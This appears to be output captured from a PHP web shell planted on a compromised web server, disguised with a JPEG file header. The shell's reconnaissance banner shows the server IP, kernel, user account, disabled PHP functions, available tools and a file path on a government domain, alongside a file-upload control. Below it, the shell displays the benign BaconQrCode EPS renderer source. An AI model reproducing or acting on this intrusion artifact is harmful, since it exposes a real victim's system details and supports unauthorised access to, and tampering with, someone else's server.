ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.12.148.123 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/bacon/bacon-qr-code/src/BaconQrCode/Renderer/Image/ |
Upload File : |
<?php /** * BaconQrCode * * @link http://github.com/Bacon/BaconQrCode For the canonical source repository * @copyright 2013 Ben 'DASPRiD' Scholzen * @license http://opensource.org/licenses/BSD-2-Clause Simplified BSD License */ namespace BaconQrCode\Renderer\Image; use BaconQrCode\Renderer\Color\ColorInterface; use BaconQrCode\Renderer\Color\Rgb; use BaconQrCode\Renderer\Color\Cmyk; use BaconQrCode\Renderer\Color\Gray; /** * EPS backend. */ class Eps extends AbstractRenderer { /** * EPS string. * * @var string */ protected $eps; /** * Colors used for drawing. * * @var array */ protected $colors = array(); /** * Current color. * * @var string */ protected $currentColor; /** * init(): defined by RendererInterface. * * @see ImageRendererInterface::init() * @return void */ public function init() { $this->eps = "%!PS-Adobe-3.0 EPSF-3.0\n" . "%%BoundingBox: 0 0 " . $this->finalWidth . " " . $this->finalHeight . "\n" . "/F { rectfill } def\n"; } /** * addColor(): defined by RendererInterface. * * @see ImageRendererInterface::addColor() * @param string $id * @param ColorInterface $color * @return void */ public function addColor($id, ColorInterface $color) { if ( !$color instanceof Rgb && !$color instanceof Cmyk && !$color instanceof Gray ) { $color = $color->toCmyk(); } $this->colors[$id] = $color; } /** * drawBackground(): defined by RendererInterface. * * @see ImageRendererInterface::drawBackground() * @param string $colorId * @return void */ public function drawBackground($colorId) { $this->setColor($colorId); $this->eps .= "0 0 " . $this->finalWidth . " " . $this->finalHeight . " F\n"; } /** * drawBlock(): defined by RendererInterface. * * @see ImageRendererInterface::drawBlock() * @param integer $x * @param integer $y * @param string $colorId * @return void */ public function drawBlock($x, $y, $colorId) { $this->setColor($colorId); $this->eps .= $x . " " . ($this->finalHeight - $y - $this->blockSize) . " " . $this->blockSize . " " . $this->blockSize . " F\n"; } /** * getByteStream(): defined by RendererInterface. * * @see ImageRendererInterface::getByteStream() * @return string */ public function getByteStream() { return $this->eps; } /** * Sets color to use. * * @param string $colorId * @return void */ protected function setColor($colorId) { if ($colorId !== $this->currentColor) { $color = $this->colors[$colorId]; if ($color instanceof Rgb) { $this->eps .= sprintf( "%F %F %F setrgbcolor\n", $color->getRed() / 100, $color->getGreen() / 100, $color->getBlue() / 100 ); } elseif ($color instanceof Cmyk) { $this->eps .= sprintf( "%F %F %F %F setcmykcolor\n", $color->getCyan() / 100, $color->getMagenta() / 100, $color->getYellow() / 100, $color->getBlack() / 100 ); } elseif ($color instanceof Gray) { $this->eps .= sprintf( "%F setgray\n", $color->getGray() / 100 ); } $this->currentColor = $colorId; } } }